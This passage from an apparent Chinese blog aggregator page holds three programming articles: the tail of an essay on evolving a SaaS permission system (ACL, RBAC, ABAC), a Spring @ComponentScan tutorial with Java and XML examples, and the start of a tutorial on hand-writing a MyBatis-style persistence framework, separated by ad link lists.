    這個模型嚴重限制了售賣策略和商家的靈活度,在系統中存在大量的硬編碼為了某個業務去修改權限的關係。
    後續在這一版上勉強引入了組織內角色分配的功能,但因為業務設計過於簡單,沒法支撐後續的操作,最後決定重構。

    業務場景驅動

    這中間經歷了兩次模型的調整和服務的變更。
    第一次想做和業務無關之後其他業務可復用的模型,基於RBAC構造了角色,角色”用戶”關係,角色權限關係;為了覆蓋ACL場景構建了”用戶”權限關係;為了多個業務方接入定義了domain,並且權限,”用戶”的定義和角色都和domain掛鈎。
    對外提供的RBAC接口本質上是ACL,”用戶”分配角色,角色內權限變更會引起”用戶”和權限關係的變化。
    至於為什麼要這麼設計,因為考慮到了一個分配角色后能手工修改用戶權限的場景,初步評估這個場景是有必要的。
    為了保證”用戶”分配了多個角色后,如果存在同樣的權限點不會因為之後取消某個角色被全部取消了引入了refCount

    此時就存在了一個可以直接使用的ACL(obj_access_relation)和外觀看上去是RBAC(但其本質還是ACL)的基礎設施。

    設置了兩個domain,針對組織依舊使用ACL,針對組織內的分配場景使用RBAC。

    增加權限定義概念

    在這之前要說明的是在設計時,組織中存在了一個管理員的概念,他不是某個角色,而是類似於組織creator的概念,其權限等同於組織的權限並且僅有一個,他的定義是為了簡化組織的管理,作為了這個組織的用戶層面映射。

    權限定義這一概念的引入是為了應對組織內分配關係。
    因為現在存在了組織和用戶兩個維度,分配關係最簡單的場景下會有幾種:

    1. 權限用於售賣,組織需要分配,用戶需要分配;
    2. 權限用於售賣,組織需要分配,用戶自動獲得;
    3. 權限用於售賣,組織需要分配,用戶不能獲得;(僅管理員使用)
    4. 權限用於管理用戶,組織自動獲得,用戶需要分配;
    5. 權限用於管理用戶,組織自動獲得,用戶自動獲得。(這個場景就不要用權限了)
    6. 權限用於管理用戶,組織自動獲得,用戶不能獲得;(僅管理員使用)
      對於權限組織

    權限定義內有兩個維度: 組織分配關係(默認獲得,需要分配),用戶分配關係(默認獲得組織的,需要分配,無法獲得)

    經過實踐這一套不是特別方便:

    1. 不同domain需要定義不同的權限,但這個場景兩個domain下的權限其實是一致的;
    2. 過於業務獨立,一些業務場景自定義的東西難以插入其中,比如業務額外定義的權限定義表。

    後續為了更好支持SaaS的權限系統把這套基礎設施複製到了SaaS權限內,這套基礎設施依舊留着給其他業務發光發熱。

    到這一步的權限系統有如下幾個特性:

    1. 組織權限可通過權限定義和分配獲得,組織下存在一個管理者其權限等同於組織權限;
    2. 組織內用戶權限通過權限定義和角色分配獲得,並且約束用戶權限不能大於組織(防止組織的某個權限過期后其用戶還能繼續使用);
    3. 存在系統預設的系統角色,出現條件為組織存在其角色依賴的權限;
    4. 組織可對其擁有的且定義為用戶可分配的權限組裝自定義角色分配給用戶。

    針對用戶的高級功能。

    上述特性中有提到用戶權限不能大於組織,這其實僅僅是針對組織域。
    如果針對用戶層面販賣高級功能,就不能被這一層限制。
    於是又引入了另一個域,其和組織域是正交的,雙方不存在邏輯層面上的關係。
    也就是 管理員通過VIP獲得的權限不會影響到組織權限,用戶通過VIP獲得的權限不受到組織權限約束。

    更多KA定製場景

    做SaaS有一點比較困難的是KA需求,作為最重要的一批客戶,提供了大量現金流。KA的定製需求不能被忽略。
    在迭代中增加了不少定製場景並泛化使用。
    比如:

    • 組織層面的權限定義,為了應對客戶嫌角色分配麻煩,可以組織內開關某個權限;
    • VIP繼承組織權限設計,為了應對客戶在大量購買某VIP分配之後不想重複分配角色;
    • 權限自動賦予某些部門下用戶

    等等

    這些問題的共同點就是分配行為的繁瑣。
    之前引入的權限定義本身就是在組織分配層面解決這個問題,有了一些ABAC的特徵。
    在這些KA需求的迭代中也增加了更多subject attribute,例如組織ID,VIP類型,以及之後的更多拓展。

    基於分配給用戶和解耦用戶直接分配的ACL和RBAC模型在這些領域都不能很好發揮,因為他們的作用前提是發生了分配關係,為了滿足更多的KA場景以及系統本身迭代會引入更多的ABAC元素。

    之後的規劃

    現在線上運行的這一套系統已經和整個商業鏈路打通,客戶的服務購買/續期/增購會有一部分反應到權限系統中,新的功能需要商業化也都會統一接入其中,權限也從最開始的百來個發展到近千個。

    但當前系統的不足也很明顯,整套體系的架構比較雜亂。

    • 最開始做的偽RBAC那一套最後實踐沒有對應的場景,而且容易發生不一致的問題,需要在系統層面移除掉(但ACL本身保留);
    • ABAC實現零散且混亂,這一套要需要體系化重寫;
    • 系統需要泛化到2C場景,打通2B和2C的商業化鏈路;
    • 缺失了數據權限控制(object),但這一套應該不會和當前權限這一套做在一起,兩者的業務對象相差有點多(一個是組織用戶和功能,一個是用戶和各類數據)。

    Written with StackEdit.

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

    ※回頭車貨運收費標準

  • 【Spring註解驅動開發】組件註冊-@ComponentScan-自動掃描組件&指定掃描規則

    寫在前面

    在實際項目中,我們更多的是使用Spring的包掃描功能對項目中的包進行掃描,凡是在指定的包或子包中的類上標註了@Repository、@Service、@Controller、@Component註解的類都會被掃描到,並將這個類注入到Spring容器中。Spring包掃描功能可以使用XML文件進行配置,也可以直接使用@ComponentScan註解進行設置,使用@ComponentScan註解進行設置比使用XML文件配置要簡單的多。

    項目工程源碼已經提交到GitHub:https://github.com/sunshinelyz/spring-annotation

    使用XML文件配置包掃描

    我們可以在Spring的XML配置文件中配置包的掃描,在配置包掃描時,需要在Spring的XML文件中的beans節點中引入context標籤,如下所示。

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                               http://www.springframework.org/schema/beans/spring-beans.xsd
                               http://www.springframework.org/schema/context
                               http://www.springframework.org/context/spring-context.xsd ">
    

    接下來,我們就可以在XML文件中定義要掃描的包了,如下所示。

    <context:component-scan base-package="io.mykit.spring"/>
    

    整個beans.xml文件如下所示。

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd
           http://www.springframework.org/schema/context
           http://www.springframework.org/schema/context.xsd">
    
        <context:component-scan base-package="io.mykit.spring"/>
    
        <bean id = "person" class="io.mykit.spring.bean.Person">
            <property name="name" value="binghe"></property>
            <property name="age" value="18"></property>
        </bean>
    </beans>
    

    此時,只要在io.mykit.spring包下,或者io.mykit.spring的子包下標註了@Repository、@Service、@Controller、@Component註解的類都會被掃描到,並自動注入到Spring容器中。

    此時,我們分別創建PersonDao、PersonService、和PersonController類,並在這三個類中分別添加@Repository、@Service、@Controller註解,如下所示。

    • PersonDao
    package io.mykit.spring.plugins.register.dao;
    
    import org.springframework.stereotype.Repository;
    
    /**
     * @author binghe
     * @version 1.0.0
     * @description 測試的dao
     */
    @Repository
    public class PersonDao {
    }
    
    • PersonService
    package io.mykit.spring.plugins.register.service;
    
    import org.springframework.stereotype.Service;
    
    /**
     * @author binghe
     * @version 1.0.0
     * @description 測試的Service
     */
    @Service
    public class PersonService {
    }
    
    • PersonController
    package io.mykit.spring.plugins.register.controller;
    
    import org.springframework.stereotype.Controller;
    
    /**
     * @author binghe
     * @version 1.0.0
     * @description 測試的controller
     */
    @Controller
    public class PersonController {
    }
    

    接下來,我們在SpringBeanTest類中新建一個測試方法testComponentScanByXml()進行測試,如下所示。

    @Test
    public void testComponentScanByXml(){
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        String[] names = context.getBeanDefinitionNames();
        Arrays.stream(names).forEach(System.out::println);
    }
    

    運行測試用例,輸出的結果信息如下所示。

    personConfig
    personController
    personDao
    personService
    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    person
    

    可以看到,除了輸出我們自己創建的bean名稱之外,也輸出了Spring內部使用的一些重要的bean名稱。

    接下來,我們使用註解來完成這些功能。

    使用註解配置包掃描

    使用@ComponentScan註解之前我們先將beans.xml文件中的下述配置註釋。

    <context:component-scan base-package="io.mykit.spring"></context:component-scan>
    

    註釋后如下所示。

    <!--<context:component-scan base-package="io.mykit.spring"></context:component-scan>-->
    

    使用@ComponentScan註解配置包掃描就非常Easy了!在我們的PersonConfig類上添加@ComponentScan註解,並將掃描的包指定為io.mykit.spring即可,整個的PersonConfig類如下所示。

    package io.mykit.spring.plugins.register.config;
    
    import io.mykit.spring.bean.Person;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.ComponentScan;
    import org.springframework.context.annotation.Configuration;
    
    /**
     * @author binghe
     * @version 1.0.0
     * @description 以註解的形式來配置Person
     */
    @Configuration
    @ComponentScan(value = "io.mykit.spring")
    public class PersonConfig {
    
        @Bean("person")
        public Person person01(){
            return new Person("binghe001", 18);
        }
    }
    

    沒錯,就是這麼簡單,只需要在類上添加@ComponentScan(value = “io.mykit.spring”)註解即可。

    接下來,我們在SpringBeanTest類中新增testComponentScanByAnnotation()方法,如下所示。

    @Test
    public void testComponentScanByAnnotation(){
        ApplicationContext context = new AnnotationConfigApplicationContext(PersonConfig.class);
        String[] names = context.getBeanDefinitionNames();
        Arrays.stream(names).forEach(System.out::println);
    }
    

    運行testComponentScanByAnnotation()方法輸出的結果信息如下所示。

    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    personConfig
    personController
    personDao
    personService
    person
    

    可以看到使用@ComponentScan註解同樣輸出了bean的名稱。

    既然使用XML文件和註解的方式都能夠將相應的類注入到Spring容器當中,那我們是使用XML文件還是使用註解呢?我更傾向於使用註解,如果你確實喜歡使用XML文件進行配置,也可以,哈哈,個人喜好嘛!好了,我們繼續。

    關於@ComponentScan註解

    我們點開ComponentScan註解類,如下所示。

    package org.springframework.context.annotation;
    
    import java.lang.annotation.Documented;
    import java.lang.annotation.ElementType;
    import java.lang.annotation.Repeatable;
    import java.lang.annotation.Retention;
    import java.lang.annotation.RetentionPolicy;
    import java.lang.annotation.Target;
    
    import org.springframework.beans.factory.support.BeanNameGenerator;
    import org.springframework.core.annotation.AliasFor;
    import org.springframework.core.type.filter.TypeFilter;
    
    @Retention(RetentionPolicy.RUNTIME)
    @Target(ElementType.TYPE)
    @Documented
    @Repeatable(ComponentScans.class)
    public @interface ComponentScan {
    
    	@AliasFor("basePackages")
    	String[] value() default {};
    
    	@AliasFor("value")
    	String[] basePackages() default {};
    
    	Class<?>[] basePackageClasses() default {};
    
    	Class<? extends BeanNameGenerator> nameGenerator() default BeanNameGenerator.class;
    
    	Class<? extends ScopeMetadataResolver> scopeResolver() default AnnotationScopeMetadataResolver.class;
    
    	ScopedProxyMode scopedProxy() default ScopedProxyMode.DEFAULT;
    
    	String resourcePattern() default ClassPathScanningCandidateComponentProvider.DEFAULT_RESOURCE_PATTERN;
    
    	boolean useDefaultFilters() default true;
    
    	Filter[] includeFilters() default {};
    
    	Filter[] excludeFilters() default {};
    
    	boolean lazyInit() default false;
    
    	@Retention(RetentionPolicy.RUNTIME)
    	@Target({})
    	@interface Filter {
    		FilterType type() default FilterType.ANNOTATION;
            
    		@AliasFor("classes")
    		Class<?>[] value() default {};
            
    		@AliasFor("value")
    		Class<?>[] classes() default {};
            
    		String[] pattern() default {};
    	}
    }
    

    這裏,我們着重來看ComponentScan類的兩個方法,如下所示。

    Filter[] includeFilters() default {};
    Filter[] excludeFilters() default {};
    

    includeFilters()方法表示Spring掃描的時候,只包含哪些註解,而excludeFilters()方法表示不包含哪些註解。兩個方法的返回值都是Filter[]數組,在ComponentScan註解類的內部存在Filter註解類,大家可以看下上面的代碼。

    1.掃描時排除註解標註的類

    例如,我們現在排除@Controller、@Service和@Repository註解,我們可以在PersonConfig類上通過@ComponentScan註解的excludeFilters()實現。例如,我們在PersonConfig類上添加了如下的註解。

    @ComponentScan(value = "io.mykit.spring", excludeFilters = {
            @Filter(type = FilterType.ANNOTATION, classes = {Controller.class, Service.class, Repository.class})
    })
    

    這樣,我們就使得Spring在掃描包的時候排除了使用@Controller、@Service和@Repository註解標註的類。運行SpringBeanTest類中的testComponentScanByAnnotation()方法,輸出的結果信息如下所示。

    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    personConfig
    person
    

    可以看到,輸出的結果信息中不再輸出personController、personService和personDao說明Spring在進行包掃描時,忽略了@Controller、@Service和@Repository註解標註的類。

    2.掃描時只包含註解標註的類

    我們也可以使用ComponentScan註解類的includeFilters()來指定Spring在進行包掃描時,只包含哪些註解標註的類。

    這裏需要注意的是,當我們使用includeFilters()來指定只包含哪些註解標註的類時,需要禁用默認的過濾規則。

    例如,我們需要Spring在掃描時,只包含@Controller註解標註的類,可以在PersonConfig類上添加@ComponentScan註解,設置只包含@Controller註解標註的類,並禁用默認的過濾規則,如下所示。

    @ComponentScan(value = "io.mykit.spring", includeFilters = {
            @Filter(type = FilterType.ANNOTATION, classes = {Controller.class})
    }, useDefaultFilters = false)
    

    此時,我們再次運行SpringBeanTest類的testComponentScanByAnnotation()方法,輸出的結果信息如下所示。

    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    personConfig
    personController
    person
    

    可以看到,在輸出的結果中,只包含了@Controller註解標註的組件名稱,並沒有輸出@Service和@Repository註解標註的組件名稱。

    注意:在使用includeFilters()來指定只包含哪些註解標註的類時,結果信息中會一同輸出Spring內部的組件名稱。

    3.重複註解

    不知道小夥伴們有沒有注意到ComponentScan註解類上有一個如下所示的註解。

    @Repeatable(ComponentScans.class)
    

    我們先來看看@ComponentScans註解是個啥,如下所示。

    package org.springframework.context.annotation;
    
    import java.lang.annotation.Documented;
    import java.lang.annotation.ElementType;
    import java.lang.annotation.Retention;
    import java.lang.annotation.RetentionPolicy;
    import java.lang.annotation.Target;
    @Retention(RetentionPolicy.RUNTIME)
    @Target(ElementType.TYPE)
    @Documented
    public @interface ComponentScans {
    	ComponentScan[] value();
    }
    

    可以看到,在ComponentScans註解類中只聲明了一個返回ComponentScan[]數組的value(),說到這裏,大家是不是就明白了,沒錯,這在Java8中是一個重複註解。

    對於Java8不熟悉的小夥伴,可以到【Java8新特性】專欄查看關於Java8新特性的文章。專欄地址小夥伴們可以猛戳下面的鏈接地址進行查看:

    https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&__biz=Mzg3MzE1NTIzNA==&scene=1&album_id=1325066823947321344#wechat_redirect

    在Java8中表示@ComponentScan註解是一個重複註解,可以在一個類上重複使用這個註解,如下所示。

    @Configuration
    @ComponentScan(value = "io.mykit.spring", includeFilters = {
            @Filter(type = FilterType.ANNOTATION, classes = {Controller.class})
    }, useDefaultFilters = false)
    @ComponentScan(value = "io.mykit.spring", includeFilters = {
            @Filter(type = FilterType.ANNOTATION, classes = {Service.class})
    }, useDefaultFilters = false)
    public class PersonConfig {
    
        @Bean("person")
        public Person person01(){
            return new Person("binghe001", 18);
        }
    }
    

    運行SpringBeanTest類的testComponentScanByAnnotation()方法,輸出的結果信息如下所示。

    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    personConfig
    personController
    personService
    person
    

    可以看到,同時輸出了@Controller註解和@Service註解標註的組件名稱。

    如果使用的是Java8之前的版本,我們就不能直接在類上寫多個@ComponentScan註解了。此時,我們可以在PersonConfig類上使用@ComponentScans註解,如下所示。

    @ComponentScans(value = {
            @ComponentScan(value = "io.mykit.spring", includeFilters = {
                    @Filter(type = FilterType.ANNOTATION, classes = {Controller.class})
            }, useDefaultFilters = false),
            @ComponentScan(value = "io.mykit.spring", includeFilters = {
                    @Filter(type = FilterType.ANNOTATION, classes = {Service.class})
            }, useDefaultFilters = false)
    })
    

    再次運行SpringBeanTest類的testComponentScanByAnnotation()方法,輸出的結果信息如下所示。

    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    personConfig
    personController
    personService
    person
    

    與使用多個@ComponentScan註解輸出的結果信息相同。

    總結:我們可以使用@ComponentScan註解來指定Spring掃描哪些包,可以使用excludeFilters()指定掃描時排除哪些組件,也可以使用includeFilters()指定掃描時只包含哪些組件。當使用includeFilters()指定只包含哪些組件時,需要禁用默認的過濾規則

    好了,咱們今天就聊到這兒吧!別忘了給個在看和轉發,讓更多的人看到,一起學習一起進步!!

    項目工程源碼已經提交到GitHub:https://github.com/sunshinelyz/spring-annotation

    寫在最後

    如果覺得文章對你有點幫助,請微信搜索並關注「 冰河技術 」微信公眾號,跟冰河學習Spring註解驅動開發。公眾號回復“spring註解”關鍵字,領取Spring註解驅動開發核心知識圖,讓Spring註解驅動開發不再迷茫。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

  • 天哪!手動編寫mybatis雛形竟然這麼簡單

    天哪!手動編寫mybatis雛形竟然這麼簡單

    前言

    mybaits 在ORM 框架中,可算是半壁江山了,由於它是輕量級,半自動加載,靈活性和易拓展性。深受廣大公司的喜愛,所以我們程序開發也離不開mybatis 。但是我們有對mabtis 源碼進行研究嗎?或者想看但是不知道怎麼看的苦惱嗎?

    歸根結底,我們還是需要知道為什麼會有mybatis ,mybatis 解決了什麼問題?
    想要知道mybatis 解決了什麼問題,就要知道傳統的JDBC 操作存在哪些痛點才促使mybatis 的誕生。
    我們帶着這些疑問,再來一步步學習吧。

    原始JDBC 存在的問題

    所以我們先來來看下原始JDBC 的操作:
    我們知道最原始的數據庫操作。分為以下幾步:
    1、獲取connection 連接
    2、獲取preparedStatement
    3、參數替代佔位符
    4、獲取執行結果resultSet
    5、解析封裝resultSet 到對象中返回。

    如下是原始JDBC 的查詢代碼,存在哪些問題?

    public static void main(String[] args) {
            String dirver="com.mysql.jdbc.Driver";
            String url="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8";
            String userName="root";
            String password="123456";
    
            Connection connection=null;
            List<User> userList=new ArrayList<>();
            try {
                Class.forName(dirver);
                connection= DriverManager.getConnection(url,userName,password);
    
                String sql="select * from user where username=?";
                PreparedStatement preparedStatement=connection.prepareStatement(sql);
                preparedStatement.setString(1,"張三");
                System.out.println(sql);
                ResultSet resultSet=preparedStatement.executeQuery();
    
                User user=null;
                while(resultSet.next()){
                    user=new User();
                    user.setId(resultSet.getInt("id"));
                    user.setUsername(resultSet.getString("username"));
                    user.setPassword(resultSet.getString("password"));
                    userList.add(user);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }finally {
                try {
                    connection.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }
    
            if (!userList.isEmpty()) {
                for (User user : userList) {
                    System.out.println(user.toString());
                }
            }
    
        }
    

    小夥伴們發現了上面有哪些不友好的地方?
    我這裏總結了以下幾點:
    1、數據庫的連接信息存在硬編碼,即是寫死在代碼中的。
    2、每次操作都會建立和釋放connection 連接,操作資源的不必要的浪費。
    3、sql 和參數存在硬編碼。
    4、將返回結果集封裝成實體類麻煩,要創建不同的實體類,並通過set方法一個個的注入。

    存在上面的問題,所以mybatis 就對上述問題進行了改進。
    對於硬編碼,我們很容易就想到配置文件來解決。mybatis 也是這麼解決的。
    對於資源浪費,我們想到是用連接池,mybatis 也是這個解決的。
    對於封裝結果集麻煩,我們想到是用JDK的反射機制,好巧,mybatis 也是這麼解決的。

    設計思路

    既然如此,我們就來寫一個自定義吃持久層框架,來解決上述問題,當然是參照mybatis 的設計思路,這樣我們在寫完之後,再來看mybatis 的源碼就恍然大悟,這個地方這樣配置原來是因為這樣啊。
    我們分為使用端和框架端兩部分。

    使用端

    我們在使用mybatis 的時候是不是需要使用SqlMapConfig.xml 配置文件,用來存放數據庫的連接信息,以及mapper.xml 的指向信息。mapper.xml 配置文件用來存放sql 信息。
    所以我們在使用端來創建兩個文件SqlMapConfig.xml 和mapper.xml。

    框架端

    框架端要做哪些事情呢?如下:
    1、獲取配置文件。也就是獲取到使用端的SqlMapConfig.xml 以及mapper.xml的 文件
    2、解析配置文件。對獲取到的文件進行解析,獲取到連接信息,sql,參數,返回類型等等。這些信息都會保存在configuration 這個對象中。
    3、創建SqlSessionFactory,目的是創建SqlSession的一個實例。
    4、創建SqlSession ,用來完成上面原始JDBC 的那些操作。

    那在SqlSession 中 進行了哪些操作呢?
    1、獲取數據庫連接
    2、獲取sql,並對sql 進行解析
    3、通過內省,將參數注入到preparedStatement 中
    4、執行sql
    5、通過反射將結果集封裝成對象

    使用端實現

    好了,上面說了一下,大概的設計思路,主要也是仿照mybatis 主要的類實現的,保證類名一致,方便我們後面閱讀源碼。我們先來配置好使用端吧,我們創建一個maven 項目。
    在項目中,我們創建一個User實體類

    public class User {
        private Integer id;
        private String username;
        private String password;
        private String birthday;
        //getter()和setter()方法
    }
    

    創建SqlMapConfig.xml 和Mapper.xml
    SqlMapConfig.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <configuration>
        <property name="driverClass" value="com.mysql.jdbc.Driver"></property>
        <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&amp;characterEncoding=utf8&amp;useUnicode=true&amp;useSSL=false"></property>
        <property name="userName" value="root"></property>
        <property name="password" value="123456"></property>
        
        <mapper resource="UserMapper.xml">
        </mapper>
    </configuration>
    

    可以看到我們xml 中就配置了數據庫的連接信息,以及mapper 一個索引。mybatis中的SqlMapConfig.xml 中還包含其他的標籤,只是豐富了功能而已,所以我們只用最主要的。

    mapper.xml
    是每個類的sql 都會生成一個對應的mapper.xml 。我們這裏就用User 類來說吧,所以我們就創建一個UserMapper.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <mapper namespace="cn.quellanan.dao.UserDao">
        <select id="selectAll" resultType="cn.quellanan.pojo.User">
            select * from user
        </select>
        <select id="selectByName" resultType="cn.quellanan.pojo.User" paramType="cn.quellanan.pojo.User">
            select * from user where username=#{username}
        </select>
    </mapper>
    

    可以看到有點mybatis 裏面文件的味道,有namespace表示命名空間,id 唯一標識,resultType 返回結果集的類型,paramType 參數的類型。
    我們使用端先創建到這,主要是兩個配置文件,我們接下來看看框架端是怎麼實現的。

    加油哈哈。

    框架端實現

    框架端,我們按照上面的設計思路一步一步來。

    獲取配置

    怎麼樣獲取配置文件呢?我們可以使用JDK自帶自帶的類Resources加載器來獲取文件。我們創建一個自定義Resource類來封裝一下:

    import java.io.InputStream;
    public class Resources {
        public  static InputStream getResources(String path){
            //使用系統自帶的類Resources加載器來獲取文件。
            return Resources.class.getClassLoader().getResourceAsStream(path);
        }
    }
    

    這樣通過傳入路徑,就可以獲取到對應的文件流啦。

    解析配置文件

    上面獲取到了SqlMapConfig.xml 配置文件,我們現在來解析它。
    不過在此之前,我們需要做一點準備工作,就是解析的內存放到什麼地方?
    所以我們來創建兩個實體類Mapper 和Configuration。

    Mapper
    Mapper 實體類用來存放使用端寫的mapper.xml 文件的內容,我們前面說了裏面有.id、sql、resultType 和paramType .所以我們創建的Mapper實體如下:

    public class Mapper {
        private String id;
        private Class<?> resultType;
        private Class<?> parmType;
        private String sql;
        //getter()和setter()方法
    }
    

    這裏我們為什麼不添加namespace 的值呢?
    聰明的你肯定發現了,因為mapper裏面這些屬性表明每個sql 都對應一個mapper,而namespace 是一個命名空間,算是sql 的上一層,所以在mapper中暫時使用不到,就沒有添加了。

    Configuration
    Configuration 實體用來保存SqlMapConfig 中的信息。所以需要保存數據庫連接,我們這裏直接用JDK提供的 DataSource。還有一個就是mapper 的信息。每個mapper 有自己的標識,所以這裏採用hashMap來存儲。如下:

    public class Configuration {
    
        private DataSource dataSource;
        HashMap <String,Mapper> mapperMap=new HashMap<>();
        //getter()和setter方法
        }
    

    XmlMapperBuilder

    做好了上面的準備工作,我們先來解析mapper 吧。我們創建一個XmlMapperBuilder 類來解析。通過dom4j 的工具類來解析XML 文件。我這裏用的dom4j 依賴為:

    		<dependency>
                <groupId>org.dom4j</groupId>
                <artifactId>dom4j</artifactId>
                <version>2.1.3</version>
            </dependency>
    

    思路:
    1、獲取文件流,轉成document。
    2、獲取根節點,也就是mapper。獲取根節點的namespace屬性值
    3、獲取select 節點,獲取其id,sql,resultType,paramType
    4、將select 節點的屬性封裝到Mapper 實體類中。
    5、同理獲取update/insert/delete 節點的屬性值封裝到Mapper 中
    6、通過namespace.id 生成key 值將mapper對象保存到Configuration實體中的HashMap 中。
    7、返回 Configuration實體
    代碼如下:

    
    public class XmlMapperBuilder {
        private Configuration configuration;
        public XmlMapperBuilder(Configuration configuration){
            this.configuration=configuration;
        }
    
        public Configuration loadXmlMapper(InputStream in) throws DocumentException, ClassNotFoundException {
            Document document=new SAXReader().read(in);
    
            Element rootElement=document.getRootElement();
            String namespace=rootElement.attributeValue("namespace");
    
            List<Node> list=rootElement.selectNodes("//select");
    
            for (int i = 0; i < list.size(); i++) {
                Mapper mapper=new Mapper();
                Element element= (Element) list.get(i);
                String id=element.attributeValue("id");
                mapper.setId(id);
                String paramType = element.attributeValue("paramType");
                if(paramType!=null && !paramType.isEmpty()){
                    mapper.setParmType(Class.forName(paramType));
                }
                String resultType = element.attributeValue("resultType");
                if (resultType != null && !resultType.isEmpty()) {
                    mapper.setResultType(Class.forName(resultType));
                }
                mapper.setSql(element.getTextTrim());
                String key=namespace+"."+id;
                configuration.getMapperMap().put(key,mapper);
            }
            return configuration;
        }
    
    }
    

    上面我只解析了select 標籤。大家可以解析對應insert/delete/uupdate 標籤,操作都是一樣的。

    XmlConfigBuilder

    我們再來解析一下SqlMapConfig.xml 配置信息思路是一樣的,
    1、獲取文件流,轉成document。
    2、獲取根節點,也就是configuration。
    3、獲取根節點中所有的property 節點,並獲取值,也就是獲取數據庫連接信息
    4、創建一個dataSource 連接池
    5、將連接池信息保存到Configuration實體中
    6、獲取根節點的所有mapper 節點
    7、調用XmlMapperBuilder 類解析對應mapper 並封裝到Configuration實體中
    8、完
    代碼如下:

    public class XmlConfigBuilder {
        private Configuration configuration;
        public XmlConfigBuilder(Configuration configuration){
            this.configuration=configuration;
        }
    
        public Configuration loadXmlConfig(InputStream in) throws DocumentException, PropertyVetoException, ClassNotFoundException {
    
            Document document=new SAXReader().read(in);
    
            Element rootElement=document.getRootElement();
    
            //獲取連接信息
            List<Node> propertyList=rootElement.selectNodes("//property");
            Properties properties=new Properties();
    
            for (int i = 0; i < propertyList.size(); i++) {
                Element element = (Element) propertyList.get(i);
                properties.setProperty(element.attributeValue("name"),element.attributeValue("value"));
            }
    		//是用連接池
            ComboPooledDataSource dataSource = new ComboPooledDataSource();
            dataSource.setDriverClass(properties.getProperty("driverClass"));
            dataSource.setJdbcUrl(properties.getProperty("jdbcUrl"));
            dataSource.setUser(properties.getProperty("userName"));
            dataSource.setPassword(properties.getProperty("password"));
            configuration.setDataSource(dataSource);
    
            //獲取mapper 信息
            List<Node> mapperList=rootElement.selectNodes("//mapper");
            for (int i = 0; i < mapperList.size(); i++) {
                Element element= (Element) mapperList.get(i);
                String mapperPath=element.attributeValue("resource");
                XmlMapperBuilder xmlMapperBuilder = new XmlMapperBuilder(configuration);
                configuration=xmlMapperBuilder.loadXmlMapper(Resources.getResources(mapperPath));
            }
            return configuration;
        }
    }
    

    創建SqlSessionFactory

    完成解析后我們創建SqlSessionFactory 用來創建Sqlseesion 的實體,這裏為了盡量還原mybatis 設計思路,也也採用的工廠設計模式。
    SqlSessionFactory 是一個接口,裏面就一個用來創建SqlSessionf的方法。
    如下:

    public interface SqlSessionFactory {
        public SqlSession openSqlSession();
    }
    

    單單這個接口是不夠的,我們還得寫一個接口的實現類,所以我們創建一個DefaultSqlSessionFactory。
    如下:

    public class DefaultSqlSessionFactory implements SqlSessionFactory {
    
        private Configuration configuration;
    
        public DefaultSqlSessionFactory(Configuration configuration) {
            this.configuration = configuration;
        }
        public SqlSession openSqlSession() {
            return new DefaultSqlSeeion(configuration);
        }
    }
    

